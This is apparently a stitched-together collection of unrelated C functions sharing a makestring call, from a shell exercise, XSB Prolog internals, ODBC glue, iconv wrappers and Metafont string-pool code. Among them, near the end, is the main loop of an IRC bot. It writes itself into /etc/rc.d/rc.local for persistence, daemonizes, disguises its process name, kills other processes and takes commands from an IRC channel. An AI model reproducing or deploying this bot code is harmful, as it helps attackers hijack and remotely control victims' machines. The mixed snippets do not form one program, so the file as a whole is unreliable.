int main(void) { char * arglist[MAXARGS + 1]; int numargs; char argbuf[ARGLEN]; char * makestring(); void execute(char **); numargs = 0; while (numargs < MAXARGS) { printf("Arg[%d]?",numargs); if (fgets(argbuf, ARGLEN, stdin) && *argbuf != '\n') arglist[numargs++] = makestring(argbuf); else { if (numargs > 0){ arglist[numargs] = NULL; execute(arglist); numargs = 0; } } } return EXIT_SUCCESS; }
static pointer cconv(context *ctx, int n, pointer *argv) { iconv_t cd; size_t inbytesleft, outbytesleft; char *outbufp1, *outbufp2, *instrp; size_t ret; pointer instr=argv[2], outstr; size_t len=vecsize(instr); inbytesleft=len; outbytesleft=len*2; outbufp1= outbufp2= malloc(outbytesleft); instrp= &(instr->c.str.chars[0]); /* get acceptable codings by 'iconv --list' */ /* cd=iconv_open(to_code, from_code); */ /* cd=iconv_open("Shift_JIS", "EUC-JP"); */ cd=iconv_open(argv[1]->c.str.chars, argv[0]->c.str.chars); if (cd == (iconv_t)-1) { outstr= (pointer)makeint(errno); goto conv_end;} ret=iconv(cd, &instrp, &inbytesleft, &outbufp2, &outbytesleft); if (ret == -1) { outstr=makeint(-errno); goto conv_end;} else outstr=makestring(outbufp1, len*2-outbytesleft); conv_end: iconv_close(cd); cfree(outbufp1); return(outstr); }
void preSUBSTR(string &line, RawSource *) { string e; int pos=1,len=BIGVALUE; string r,s,d=getid(line); skipblanks(line); line=ReplaceDefines(line); getstring(line,e); if(comma(line)) { if(!ParseExpression(line,pos)) { error("Syntax error"); pos=1; } if(comma(line)) { if(!ParseExpression(line,len)) { error("Syntax error"); len=BIGVALUE; } } } checkjunk(line); if (pos<1 || pos>(int)e.size()) r=""; else r=e.substr(pos-1,len); makestring(r); deftab.add(d,'"'+r+'"'); }
void spn_dbg_set_filename(SpnHashMap *debug_info, const char *fname) { if (debug_info) { SpnValue str = makestring(fname); spn_hashmap_set_strkey(debug_info, "file", &str); spn_value_release(&str); } }
/* convert openwsman hash_t* to hash VALUE (string pairs) */ static VALUE hash2value( hash_t *hash ) { VALUE v; hnode_t *node; hscan_t ptr; if (!hash) return Qnil; hash_scan_begin( &ptr, hash ); v = rb_hash_new(); while ((node = hash_scan_next( &ptr )) ) { rb_hash_aset( v, makestring( hnode_getkey( node ) ), makestring( hnode_get( node ) ) ); } return v; }
void preTOSTR(string &line, RawSource *) { string d=getid(line); skipblanks(line); string l=ReplaceDefines(line); makestring(l); line.clear(); deftab.add(d,'"'+l+'"'); }
/* reg 1: tag for this call reg 2: filter list of goals to keep (keep all if []) reg 3: returned list of changed goals reg 4: used as temp (in case of heap expansion) */ int create_changed_call_list(CTXTdecl){ callnodeptr call1; VariantSF subgoal; TIFptr tif; int j, count = 0,arity; Psc psc; CPtr oldhreg = NULL; reg[4] = makelist(hreg); new_heap_free(hreg); // make heap consistent new_heap_free(hreg); while ((call1 = delete_calllist_elt(&changed_gl)) != EMPTY){ subgoal = (VariantSF) call1->goal; tif = (TIFptr) subgoal->tif_ptr; psc = TIF_PSC(tif); if (in_reg2_list(CTXTc psc)) { count++; arity = get_arity(psc); check_glstack_overflow(4,pcreg,2+arity*200); // guess for build_subgoal_args... oldhreg = hreg-2; if(arity>0){ sreg = hreg; follow(oldhreg++) = makecs(hreg); hreg += arity + 1; new_heap_functor(sreg, psc); for (j = 1; j <= arity; j++) { new_heap_free(sreg); cell_array1[arity-j] = cell(sreg-1); } build_subgoal_args(subgoal); }else{ follow(oldhreg++) = makestring(get_name(psc)); } follow(oldhreg) = makelist(hreg); new_heap_free(hreg); // make heap consistent new_heap_free(hreg); } } if (count>0) follow(oldhreg) = makenil; else reg[4] = makenil; return unify(CTXTc reg_term(CTXTc 3),reg_term(CTXTc 4)); /* int i; for(i=0; i<callqptr; i++){ if(IsNonNULL(callq[i]) && (callq[i]->deleted==1)){ sfPrintGoal(stdout,(VariantSF)callq[i]->goal,NO); printf(" %d %d\n",callq[i]->falsecount,callq[i]->deleted); } } printf("-----------------------------\n"); */ }
void _433(int sock, char *sender, char *str) { free(nick); char tempnick[50]; char *strpref = PREFIX; char *genname = makestring(); strcpy(tempnick,strpref); strcat(tempnick,genname); nick=tempnick; }
/* For a callnode call1 returns a Prolog list of callnode on which call1 immediately depends. */ int immediate_inedges_list(CTXTdeclc callnodeptr call1){ VariantSF subgoal; TIFptr tif; int j, count = 0,arity; Psc psc; CPtr oldhreg = NULL; calllistptr cl; reg[4] = makelist(hreg); new_heap_free(hreg); new_heap_free(hreg); if(IsNonNULL(call1)){ /* This can be called from some non incremental predicate */ cl= call1->inedges; while(IsNonNULL(cl)){ subgoal = (VariantSF) cl->inedge_node->callnode->goal; if(IsNonNULL(subgoal)){/* fact check */ count++; tif = (TIFptr) subgoal->tif_ptr; psc = TIF_PSC(tif); arity = get_arity(psc); check_glstack_overflow(4,pcreg,2+arity*200); // don't know how much for build_subgoal_args... oldhreg = hreg-2; if(arity>0){ sreg = hreg; follow(oldhreg++) = makecs(hreg); hreg += arity + 1; new_heap_functor(sreg, psc); for (j = 1; j <= arity; j++) { new_heap_free(sreg); cell_array1[arity-j] = cell(sreg-1); } build_subgoal_args(subgoal); }else{ follow(oldhreg++) = makestring(get_name(psc)); } follow(oldhreg) = makelist(hreg); new_heap_free(hreg); new_heap_free(hreg); } cl=cl->next; } if (count>0) follow(oldhreg) = makenil; else reg[4] = makenil; }else{ xsb_warn("Called with non-incremental predicate\n"); reg[4] = makenil; } return unify(CTXTc reg_term(CTXTc 3),reg_term(CTXTc 4)); }
int loadpoolstrings (integer spare_size) { const char *s; strnumber g=0; int i=0,j=0; while ((s = poolfilearr[j++])) { int l = strlen (s); i += l; if (i>=spare_size) return 0; while (l-- > 0) strpool[poolptr++] = *s++; g = makestring(); } return g; }
std::string Exception::ToString() const { std::string str = GetName(); if (!GetOrigin().empty()) str += " in " + GetOrigin(); if (!m_File.empty() && m_Line >= 0) str += makestring() << "(" << m_File << ":" << m_Line << ")"; if (!GetDescription().empty()) str += ": " + GetDescription(); return str; }
int return_scc_list(CTXTdeclc SCCNode * nodes, int num_nodes){ VariantSF subgoal; TIFptr tif; int cur_node = 0,arity, j; Psc psc; CPtr oldhreg = NULL; reg[4] = makelist(hreg); new_heap_free(hreg); new_heap_free(hreg); do { subgoal = (VariantSF) nodes[cur_node].node; tif = (TIFptr) subgoal->tif_ptr; psc = TIF_PSC(tif); arity = get_arity(psc); // printf("subgoal %p, %s/%d\n",subgoal,get_name(psc),arity); check_glstack_overflow(4,pcreg,2+arity*200); // don't know how much for build_subgoal_args.. oldhreg=hreg-2; // ptr to car if(arity>0){ sreg = hreg; follow(oldhreg++) = makecs(sreg); new_heap_functor(sreg,get_ret_psc(2)); // car pts to ret/2 psc hreg += 3; // hreg pts past ret/2 sreg = hreg; follow(hreg-1) = makeint(nodes[cur_node].component); // arg 2 of ret/2 pts to component follow(hreg-2) = makecs(sreg); new_heap_functor(sreg, psc); // arg 1 of ret/2 pts to goal psc hreg += arity + 1; for (j = 1; j <= arity; j++) { new_heap_free(sreg); cell_array1[arity-j] = cell(sreg-1); } build_subgoal_args(subgoal); } else{ follow(oldhreg++) = makestring(get_name(psc)); } follow(oldhreg) = makelist(hreg); // cdr points to next car new_heap_free(hreg); new_heap_free(hreg); cur_node++; } while (cur_node < num_nodes); follow(oldhreg) = makenil; // cdr points to next car return unify(CTXTc reg_term(CTXTc 3),reg_term(CTXTc 4)); }
xsbBool str_cat(CTXTdecl) { char *str1, *str2, *tmpstr; size_t tmpstr_len; term = ptoc_tag(CTXTc 1); term2 = ptoc_tag(CTXTc 2); if (isatom(term) && isatom(term2)) { str1 = string_val(term); str2 = string_val(term2); tmpstr_len = strlen(str1) + strlen(str2) + 1; tmpstr = (char *)mem_alloc(tmpstr_len,LEAK_SPACE); strcpy(tmpstr, str1); strcat(tmpstr, str2); str1 = string_find(tmpstr, 1); mem_dealloc(tmpstr,tmpstr_len,LEAK_SPACE); return atom_unify(CTXTc makestring(str1), ptoc_tag(CTXTc 3)); } else return FALSE; }
main() { char *arglist[MAXARGS+1]; /* an array of ptrs */ int numargs; /* index into array */ char argbuf[ARGLEN]; /* read stuff here */ char *makestring(); /* malloc etc */ char *fgetsrv; numargs = 0; while ( numargs < MAXARGS ) { printf("Arg[%d]? ", numargs); fgetsrv = fgets(argbuf, ARGLEN, stdin); if ( fgetsrv != NULL && *argbuf != '\n' ){ arglist[numargs++] = makestring(argbuf); /* * new code to allow user to exit with * the "exit" command */ if ( numargs == 1 && strcmp(arglist[0],"exit") == 0 ) break; } else { if ( numargs > 0 ){ /* any args? */ arglist[numargs]=NULL; /* close list */ execute( arglist ); /* do it */ numargs = 0; /* and reset */ } /* * new code added to allow user to exit at EOF */ if ( fgetsrv == NULL ) break; } } return 0; }
int main(void) { char *arglist[MAXARGS + 1]; int numargs = 0; char argbuf[ARGLEN]; while (numargs < MAXARGS) { printf("Arg[%d]?", numargs); if (fgets(argbuf, ARGLEN, stdin) == NULL) exit(EXIT_SUCCESS); else if (*argbuf != '\n') arglist[numargs] = makestring(argbuf); else { if (numargs > 0) { arglist[numargs] = NULL; execute(arglist); while (--numargs) free(arglist[numargs]); numargs = 0; } } numargs++; } return EXIT_SUCCESS; }
int main() { char *arglist[MAXARGS + 1]; //字符串的数组 int numargs; //arglist的下标 char argbuf[ARGLEN]; numargs = 0; while (numargs < MAXARGS) { printf("Arg[%d]?", numargs); if (fgets(argbuf, ARGLEN, stdin) && *argbuf != '\n') arglist[numargs ++] = makestring(argbuf); //如果没有输入内容,直接回车 else { if (numargs > 0) { arglist[numargs] = NULL; execute(arglist); numargs = 0; } } } return 0; }
main() { char *arglist[MAXARGS+1]; /* an array of ptrs */ int numargs; /* index into array */ char argbuf[ARGLEN]; /* read stuff here */ char *makestring(); /* malloc etc */ numargs = 0; while ( numargs < MAXARGS ) { printf("Arg[%d]? ", numargs); if ( fgets(argbuf, ARGLEN, stdin) && *argbuf != '\n' ) arglist[numargs++] = makestring(argbuf); else { if ( numargs > 0 ){ /* any args? */ arglist[numargs]=NULL; /* close list */ execute( arglist ); /* do it */ numargs = 0; /* and reset */ } } } return 0; }
int main() { char *arglist[MAXARGS + 1]; //AN ARRAY OF PTRS int numargs; //index into array char argbuf[ARGLEN]; // read stuff here char *makestring(); numargs = 0; while( numargs < MAXARGS ){ printf("Arg[%d]?",numargs); if( fgets( argbuf, ARGLEN, stdin ) && *argbuf != '\n'){ if( *argbuf == EOF ) return 0; arglist[numargs++] = makestring(argbuf); } else if( numargs > 0 ){ //any args? arglist[numargs] = NULL; //close list execute( arglist ); //do it numargs = 0; //and reset } } return 0; }
pointer ICONV(context *ctx, int n, pointer *argv) { int cd, ret, malloced=NULL; char *srcstrp, *deststrp, *deststrpv, deststr[1024]; size_t srcstrlen, deststrlen; pointer dest; ckarg(2); cd=bigintval(argv[0]); if (!isstring(argv[1])) error(E_NOSTRING); srcstrp=argv[1]->c.str.chars; srcstrlen=strlength(argv[1]); deststrlen=2*srcstrlen; if (deststrlen>=1024) { deststrp=malloc(deststrlen); malloced=1;} else deststrp=deststr; deststrpv=deststrp; ret=iconv(cd, &srcstrp, &srcstrlen, &deststrpv, &deststrlen); if (ret== -1) { dest=NIL; goto iconvend;} dest=makestring(deststrp, 2*strlength(argv[1])-deststrlen); iconvend: if (malloced) cfree(deststrp); return(dest); }
int create_lazy_call_list(CTXTdeclc callnodeptr call1){ VariantSF subgoal; TIFptr tif; int j,count=0,arity; Psc psc; CPtr oldhreg=NULL; // print_call_list(lazy_affected); reg[6] = reg[5] = makelist(hreg); // reg 5 first not-used, use regs in case of stack expanson new_heap_free(hreg); // make heap consistent new_heap_free(hreg); while((call1 = delete_calllist_elt(&lazy_affected)) != EMPTY){ subgoal = (VariantSF) call1->goal; // fprintf(stddbg," considering ");print_subgoal(stdout,subgoal);printf("\n"); if(IsNULL(subgoal)){ /* fact predicates */ call1->deleted = 0; continue; } if (subg_visitors(subgoal)) { sprint_subgoal(CTXTc forest_log_buffer_1,0,subgoal); #ifdef ISO_INCR_TABLING find_the_visitors(CTXTc subgoal); #else #ifdef WARN_ON_UNSAFE_UPDATE xsb_warn("%d Choice point(s) exist to the table for %s -- cannot incrementally update (create_lazy_call_list)\n", subg_visitors(subgoal),forest_log_buffer_1->fl_buffer); #else xsb_abort("%d Choice point(s) exist to the table for %s -- cannot incrementally update (create_lazy_call_list)\n", subg_visitors(subgoal),forest_log_buffer_1->fl_buffer); #endif #endif continue; } // fprintf(stddbg,"adding dependency for ");print_subgoal(stdout,subgoal);printf("\n"); count++; tif = (TIFptr) subgoal->tif_ptr; // if (!(psc = TIF_PSC(tif))) // xsb_table_error(CTXTc "Cannot access dynamic incremental table\n"); psc = TIF_PSC(tif); arity = get_arity(psc); check_glstack_overflow(6,pcreg,2+arity*200); // don't know how much for build_subgoal_args... oldhreg = clref_val(reg[6]); // maybe updated by re-alloc if(arity>0){ sreg = hreg; follow(oldhreg++) = makecs(sreg); hreg += arity + 1; // had 10, why 10? why not 3? 2 for list, 1 for functor (dsw) new_heap_functor(sreg, psc); for (j = 1; j <= arity; j++) { new_heap_free(sreg); cell_array1[arity-j] = cell(sreg-1); } build_subgoal_args(subgoal); } else { follow(oldhreg++) = makestring(get_name(psc)); } reg[6] = follow(oldhreg) = makelist(hreg); new_heap_free(hreg); new_heap_free(hreg); } if(count > 0) { follow(oldhreg) = makenil; hreg -= 2; /* take back the extra words allocated... */ } else reg[5] = makenil; return unify(CTXTc reg_term(CTXTc 4),reg_term(CTXTc 5)); /*int i; for(i=0;i<callqptr;i++){ if(IsNonNULL(callq[i]) && (callq[i]->deleted==1)){ sfPrintGoal(stdout,(VariantSF)callq[i]->goal,NO); printf(" %d %d\n",callq[i]->falsecount,callq[i]->deleted); } } printf("-----------------------------\n"); */ }
/*-----------------------------------------------------------------------------*/ void ODBCDataSources() { static SQLCHAR DSN[SQL_MAX_DSN_LENGTH+1]; static SQLCHAR Description[SQL_MAX_DSN_LENGTH+1]; RETCODE rc; int seq; SWORD dsn_size, descr_size; Cell op2 = ptoc_tag(3); Cell op3 = ptoc_tag(4); if (!henv) { /* allocate environment handler*/ rc = SQLAllocEnv(&henv); if (rc != SQL_SUCCESS && rc != SQL_SUCCESS_WITH_INFO) { xsb_error("Environment allocation failed"); ctop_int(5,1); return; } LCursor = FCursor = NULL; FCurNum = NULL; nullStrAtom = makestring(string_find("NULL",1)); } seq = ptoc_int(2); if (seq == 1) { rc = SQLDataSources(henv,SQL_FETCH_FIRST,DSN, SQL_MAX_DSN_LENGTH,&dsn_size, Description,SQL_MAX_DSN_LENGTH, &descr_size); if (rc == SQL_NO_DATA_FOUND) { ctop_int(5,2); return; } if (rc != SQL_SUCCESS && rc != SQL_SUCCESS_WITH_INFO) { xsb_error("Environment allocation failed"); ctop_int(5,1); return; } } else { rc = SQLDataSources(henv,SQL_FETCH_NEXT,DSN, SQL_MAX_DSN_LENGTH,&dsn_size, Description,SQL_MAX_DSN_LENGTH, &descr_size); if (rc == SQL_NO_DATA_FOUND) { ctop_int(5,2); return; } if (rc != SQL_SUCCESS && rc != SQL_SUCCESS_WITH_INFO) { xsb_error("Environment allocation failed"); ctop_int(5,1); return; } } XSB_Deref(op2); if (isref(op2)) unify(op2, makestring(string_find(DSN,1))); else { xsb_error("[ODBCDataSources] Param 2 should be a free variable."); ctop_int(5,1); return; } XSB_Deref(op3); if (isref(op3)) unify(op3, makestring(string_find(Description,1))); else { xsb_error("[ODBCDataSources] Param 3 should be a free variable."); ctop_int(5,1); return; } ctop_int(5,0); return; }
void storebasefile ( void ) { integer k ; halfword p, q ; integer x ; fourquarters w ; ASCIIcode * baseengine ; selector = 5 ; print ( 1074 ) ; print ( jobname ) ; printchar ( 32 ) ; printint ( roundunscaled ( internal [14 ]) ) ; printchar ( 46 ) ; printint ( roundunscaled ( internal [15 ]) ) ; printchar ( 46 ) ; printint ( roundunscaled ( internal [16 ]) ) ; printchar ( 41 ) ; if ( interaction == 0 ) selector = 2 ; else selector = 3 ; { if ( poolptr + 1 > maxpoolptr ) { if ( poolptr + 1 > poolsize ) overflow ( 257 , poolsize - initpoolptr ) ; maxpoolptr = poolptr + 1 ; } } baseident = makestring () ; strref [baseident ]= 127 ; packjobname ( 743 ) ; while ( ! wopenout ( basefile ) ) promptfilename ( 1075 , 743 ) ; printnl ( 1076 ) ; slowprint ( wmakenamestring ( basefile ) ) ; flushstring ( strptr - 1 ) ; printnl ( 261 ) ; slowprint ( baseident ) ; dumpint ( 1462914374L ) ; x = strlen ( enginename ) ; baseengine = xmallocarray ( ASCIIcode , x + 4 ) ; strcpy ( stringcast ( baseengine ) , enginename ) ; {register integer for_end; k = x ;for_end = x + 3 ; if ( k <= for_end) do baseengine [k ]= 0 ; while ( k++ < for_end ) ;} x = x + 4 - ( x % 4 ) ; dumpint ( x ) ; dumpthings ( baseengine [0 ], x ) ; libcfree ( baseengine ) ; dumpint ( 228418379L ) ; dumpthings ( xord [0 ], 256 ) ; dumpthings ( xchr [0 ], 256 ) ; dumpthings ( xprn [0 ], 256 ) ; dumpint ( 0 ) ; dumpint ( memtop ) ; dumpint ( 9500 ) ; dumpint ( 7919 ) ; dumpint ( 15 ) ; dumpint ( poolptr ) ; dumpint ( strptr ) ; {register integer for_end; k = 0 ;for_end = strptr ; if ( k <= for_end) do dumpint ( strstart [k ]) ; while ( k++ < for_end ) ;} k = 0 ; while ( k + 4 < poolptr ) { w .b0 = strpool [k ]; w .b1 = strpool [k + 1 ]; w .b2 = strpool [k + 2 ]; w .b3 = strpool [k + 3 ]; dumpqqqq ( w ) ; k = k + 4 ; } k = poolptr - 4 ; w .b0 = strpool [k ]; w .b1 = strpool [k + 1 ]; w .b2 = strpool [k + 2 ]; w .b3 = strpool [k + 3 ]; dumpqqqq ( w ) ; println () ; printint ( strptr ) ; print ( 1071 ) ; printint ( poolptr ) ; sortavail () ; varused = 0 ; dumpint ( lomemmax ) ; dumpint ( rover ) ; p = 0 ; q = rover ; x = 0 ; do { { register integer for_end; k = p ;for_end = q + 1 ; if ( k <= for_end) do dumpwd ( mem [k ]) ; while ( k++ < for_end ) ;} x = x + q + 2 - p ; varused = varused + q - p ; p = q + mem [q ].hhfield .lhfield ; q = mem [q + 1 ].hhfield .v.RH ; } while ( ! ( q == rover ) ) ; varused = varused + lomemmax - p ; dynused = memend + 1 - himemmin ; {register integer for_end; k = p ;for_end = lomemmax ; if ( k <= for_end) do dumpwd ( mem [k ]) ; while ( k++ < for_end ) ;} x = x + lomemmax + 1 - p ; dumpint ( himemmin ) ; dumpint ( avail ) ; {register integer for_end; k = himemmin ;for_end = memend ; if ( k <= for_end) do dumpwd ( mem [k ]) ; while ( k++ < for_end ) ;} x = x + memend + 1 - himemmin ; p = avail ; while ( p != 0 ) { decr ( dynused ) ; p = mem [p ].hhfield .v.RH ; } dumpint ( varused ) ; dumpint ( dynused ) ; println () ; printint ( x ) ; print ( 1072 ) ; printint ( varused ) ; printchar ( 38 ) ; printint ( dynused ) ; dumpint ( hashused ) ; stcount = 9756 - hashused ; {register integer for_end; p = 1 ;for_end = hashused ; if ( p <= for_end) do if ( hash [p ].v.RH != 0 ) { dumpint ( p ) ; dumphh ( hash [p ]) ; dumphh ( eqtb [p ]) ; incr ( stcount ) ; } while ( p++ < for_end ) ;} {register integer for_end; p = hashused + 1 ;for_end = 9769 ; if ( p <= for_end) do { dumphh ( hash [p ]) ; dumphh ( eqtb [p ]) ; } while ( p++ < for_end ) ;} dumpint ( stcount ) ; println () ; printint ( stcount ) ; print ( 1073 ) ; dumpint ( intptr ) ; {register integer for_end; k = 1 ;for_end = intptr ; if ( k <= for_end) do { dumpint ( internal [k ]) ; dumpint ( intname [k ]) ; } while ( k++ < for_end ) ;} dumpint ( startsym ) ; dumpint ( interaction ) ; dumpint ( baseident ) ; dumpint ( bgloc ) ; dumpint ( egloc ) ; dumpint ( serialno ) ; dumpint ( 69069L ) ; internal [12 ]= 0 ; wclose ( basefile ) ; }
boolean getstringsstarted ( void ) { /* 30 10 */ register boolean Result; unsigned char k, l ; strnumber g ; poolptr = 0 ; strptr = 0 ; maxpoolptr = 0 ; maxstrptr = 0 ; strstart [0 ]= 0 ; {register integer for_end; k = 0 ;for_end = 255 ; if ( k <= for_end) do { if ( ( ( k < 32 ) || ( k > 126 ) ) ) { { strpool [poolptr ]= 94 ; incr ( poolptr ) ; } { strpool [poolptr ]= 94 ; incr ( poolptr ) ; } if ( k < 64 ) { strpool [poolptr ]= k + 64 ; incr ( poolptr ) ; } else if ( k < 128 ) { strpool [poolptr ]= k - 64 ; incr ( poolptr ) ; } else { l = k / 16 ; if ( l < 10 ) { strpool [poolptr ]= l + 48 ; incr ( poolptr ) ; } else { strpool [poolptr ]= l + 87 ; incr ( poolptr ) ; } l = k % 16 ; if ( l < 10 ) { strpool [poolptr ]= l + 48 ; incr ( poolptr ) ; } else { strpool [poolptr ]= l + 87 ; incr ( poolptr ) ; } } } else { strpool [poolptr ]= k ; incr ( poolptr ) ; } g = makestring () ; strref [g ]= 127 ; } while ( k++ < for_end ) ;} g = loadpoolstrings ( ( poolsize - stringvacancies ) ) ; if ( g == 0 ) { ; fprintf ( stdout , "%s\n", "! You have to increase POOLSIZE." ) ; Result = false ; goto lab10 ; } Result = true ; lab10: ; return Result ; }
/*-----------------------------------------------------------------------------*/ void ODBCConnect() { UCHAR *server; UCHAR *pwd; UCHAR *connectIn; HDBC hdbc = NULL; RETCODE rc; /* if we don't yet have an environment, allocate one.*/ if (!henv) { /* allocate environment handler*/ rc = SQLAllocEnv(&henv); if (rc != SQL_SUCCESS && rc != SQL_SUCCESS_WITH_INFO) { xsb_error("Environment allocation failed"); ctop_int(6, 0); return; } /* SQLSetEnvAttr(henv, SQL_ATTR_ODBC_VERSION, (SQLPOINTER)SQL_OV_ODBC2, SQL_IS_UINTEGER); */ LCursor = FCursor = NULL; FCurNum = NULL; nullStrAtom = makestring(string_find("NULL",1)); } /* allocate connection handler*/ rc = SQLAllocConnect(henv, &hdbc); if (rc != SQL_SUCCESS && rc != SQL_SUCCESS_WITH_INFO) { xsb_error("Connection Resources Allocation Failed"); ctop_int(6, 0); return; } if (!ptoc_int(2)) { /* get server name, user id and password*/ server = (UCHAR *)ptoc_string(3); strcpy(uid, (UCHAR *)ptoc_string(4)); pwd = (UCHAR *)ptoc_string(5); /* connect to database*/ rc = SQLConnect(hdbc, server, SQL_NTS, uid, SQL_NTS, pwd, SQL_NTS); if (rc != SQL_SUCCESS && rc != SQL_SUCCESS_WITH_INFO) { SQLFreeConnect(hdbc); xsb_error("Connection to server %s failed", server); ctop_int(6, 0); return; } } else { /* connecting through driver using a connection string */ connectIn = (UCHAR *)ptoc_longstring(3); rc = SQLDriverConnect(hdbc, NULL, connectIn, SQL_NTS, NULL, 0, NULL,SQL_DRIVER_NOPROMPT); if (rc != SQL_SUCCESS && rc != SQL_SUCCESS_WITH_INFO) { SQLFreeConnect(hdbc); xsb_error("Connection to driver failed: %s", connectIn); ctop_int(6, 0); return; } } serverConnected = 1; ctop_int(6, (long)hdbc); return; }
int main(int argc, char *argv[]) { int on,i; char cwd[256],*str; FILE *file; #ifdef STARTUP str="/etc/rc.d/rc.local"; file=fopen(str,"r"); if (file == NULL) { str="/etc/rc.conf"; file=fopen(str,"r"); } if (file != NULL) { char outfile[256], buf[1024]; int i=strlen(argv[0]), d=0; getcwd(cwd,256); if (strcmp(cwd,"/")) { while(argv[0][i] != '/') i--; sprintf(outfile,"\"%s%s\"\n",cwd,argv[0]+i); while(!feof(file)) { fgets(buf,1024,file); if (!strcasecmp(buf,outfile)) d++; } if (d == 0) { FILE *out; fclose(file); out=fopen(str,"a"); if (out != NULL) { fputs(outfile,out); fclose(out); } } else fclose(file); } else fclose(file); } #endif if (fork()) exit(0); #ifdef FAKENAME strncpy(argv[0],FAKENAME,strlen(argv[0])); for (on=1;on<argc;on++) memset(argv[on],0,strlen(argv[on])); #endif srand((time(NULL) ^ getpid()) + getppid()); char tempnick[50]; char *strpref = PREFIX; char *genname = makestring(); strcpy(tempnick,strpref); strcat(tempnick,genname); nick=tempnick; ident="STD"; user="******"; chan=CHAN; key=KEY; pass=PASS; server=NULL; sa: #ifdef IDENT for (i=0;i<numpids;i++) { if (pids[i] != 0 && pids[i] != getpid()) { kill(pids[i],9); waitpid(pids[i],NULL,WNOHANG); } } pids=NULL; numpids=0; identd(); #endif con(); Send(sock,"PASS %s\n", pass); Send(sock,"NICK %s\nUSER %s localhost localhost :%s\n",nick,ident,user); while(1) { unsigned long i; fd_set n; struct timeval tv; FD_ZERO(&n); FD_SET(sock,&n); tv.tv_sec=60*20; tv.tv_usec=0; if (select(sock+1,&n,(fd_set*)0,(fd_set*)0,&tv) <= 0) goto sa; for (i=0;i<numpids;i++) if (waitpid(pids[i],NULL,WNOHANG) > 0) { unsigned int *newpids,on; for (on=i+1;on<numpids;on++) pids[on-1]=pids[on]; pids[on-1]=0; numpids--; newpids=(unsigned int*)malloc((numpids+1)*sizeof(unsigned int)); for (on=0;on<numpids;on++) newpids[on]=pids[on]; free(pids); pids=newpids; } if (FD_ISSET(sock,&n)) { char buf[4096], *str; int i; if ((i=recv(sock,buf,4096,0)) <= 0) goto sa; buf[i]=0; str=strtok(buf,"\n"); while(str && *str) { char name[1024], sender[1024]; filter(str); if (*str == ':') { for (i=0;i<strlen(str) && str[i] != ' ';i++); str[i]=0; strcpy(sender,str+1); strcpy(str,str+i+1); } else strcpy(sender,"*"); for (i=0;i<strlen(str) && str[i] != ' ';i++); str[i]=0; strcpy(name,str); strcpy(str,str+i+1); for (i=0;msgs[i].cmd != (char *)0;i++) if (!strcasecmp(msgs[i].cmd,name)) msgs[i].func(sock,sender,str); if (!strcasecmp(name,"ERROR")) goto sa; str=strtok((char*)NULL,"\n"); } } } return 0; }
int immediate_outedges_list(CTXTdeclc callnodeptr call1){ VariantSF subgoal; TIFptr tif; int j, count = 0,arity; Psc psc; CPtr oldhreg = NULL; struct hashtable *h; struct hashtable_itr *itr; callnodeptr cn; reg[4] = makelist(hreg); new_heap_free(hreg); new_heap_free(hreg); if(IsNonNULL(call1)){ /* This can be called from some non incremental predicate */ h=call1->outedges->hasht; itr = hashtable1_iterator(h); if (hashtable1_count(h) > 0){ do { cn = hashtable1_iterator_value(itr); if(IsNonNULL(cn->goal)){ count++; subgoal = (VariantSF) cn->goal; tif = (TIFptr) subgoal->tif_ptr; psc = TIF_PSC(tif); arity = get_arity(psc); check_glstack_overflow(4,pcreg,2+arity*200); // don't know how much for build_subgoal_args... oldhreg=hreg-2; if(arity>0){ sreg = hreg; follow(oldhreg++) = makecs(sreg); hreg += arity + 1; new_heap_functor(sreg, psc); for (j = 1; j <= arity; j++) { new_heap_free(sreg); cell_array1[arity-j] = cell(sreg-1); } build_subgoal_args(subgoal); }else{ follow(oldhreg++) = makestring(get_name(psc)); } follow(oldhreg) = makelist(hreg); new_heap_free(hreg); new_heap_free(hreg); } } while (hashtable1_iterator_advance(itr)); } if (count>0) follow(oldhreg) = makenil; else reg[4] = makenil; }else{ xsb_warn("Called with non-incremental predicate\n"); reg[4] = makenil; } // printterm(stdout,call_list,100); return unify(CTXTc reg_term(CTXTc 3),reg_term(CTXTc 4)); }
/*-----------------------------------------------------------------------------*/ int GetColumn() { struct Cursor *cur = (struct Cursor *)ptoc_int(2); int ColCurNum = ptoc_int(3); Cell op1; Cell op = ptoc_tag(4); UDWORD len; if (ColCurNum < 0 || ColCurNum >= cur->NumCols) { /* no more columns in the result row*/ ctop_int(5,1); return TRUE; } ctop_int(5,0); /* get the data*/ if (cur->OutLen[ColCurNum] == SQL_NULL_DATA) { /* column value is NULL*/ return unify(op,nullStrAtom); } /* convert the string to either integer, float or string*/ /* according to the column type and pass it back to XSB*/ switch (ODBCToXSBType(cur->ColTypes[ColCurNum])) { case SQL_C_CHAR: /* convert the column string to a C string */ len = ((cur->ColLen[ColCurNum] < cur->OutLen[ColCurNum])? cur->ColLen[ColCurNum]:cur->OutLen[ColCurNum]); *(cur->Data[ColCurNum]+len) = '\0'; /* compare strings here, so don't intern strings unnecessarily*/ XSB_Deref(op); if (isref(op)) return unify(op, makestring(string_find(cur->Data[ColCurNum],1))); if (isconstr(op) && get_arity(get_str_psc(op)) == 1) { STRFILE strfile; op1 = cell(clref_val(op)+1); XSB_Deref(op1); strfile.strcnt = strlen(cur->Data[ColCurNum]); strfile.strptr = strfile.strbase = cur->Data[ColCurNum]; read_canonical_term(NULL,&strfile,op1); /* terminating '.'? */ return TRUE; } if (!isstring(op)) return FALSE; if (strcmp(string_val(op),cur->Data[ColCurNum])) return FALSE; return TRUE; case SQL_C_BINARY: /* convert the column string to a C string */ len = ((cur->ColLen[ColCurNum] < cur->OutLen[ColCurNum])? cur->ColLen[ColCurNum]:cur->OutLen[ColCurNum]); *(cur->Data[ColCurNum]+len) = '\0'; /* compare strings here, so don't intern strings unnecessarily*/ XSB_Deref(op); if (isref(op)) return unify(op, makestring(string_find(cur->Data[ColCurNum],1))); if (isconstr(op) && get_arity(get_str_psc(op)) == 1) { STRFILE strfile; op1 = cell(clref_val(op)+1); XSB_Deref(op1); strfile.strcnt = strlen(cur->Data[ColCurNum]); strfile.strptr = strfile.strbase = cur->Data[ColCurNum]; read_canonical_term(NULL,&strfile,op1); /* terminating '.'? */ return TRUE; } if (!isstring(op)) return FALSE; if (strcmp(string_val(op),cur->Data[ColCurNum])) return FALSE; return TRUE; case SQL_C_SLONG: return unify(op,makeint(*(long *)(cur->Data[ColCurNum]))); case SQL_C_FLOAT: return unify(op,makefloat(*(float *)(cur->Data[ColCurNum]))); } return FALSE; }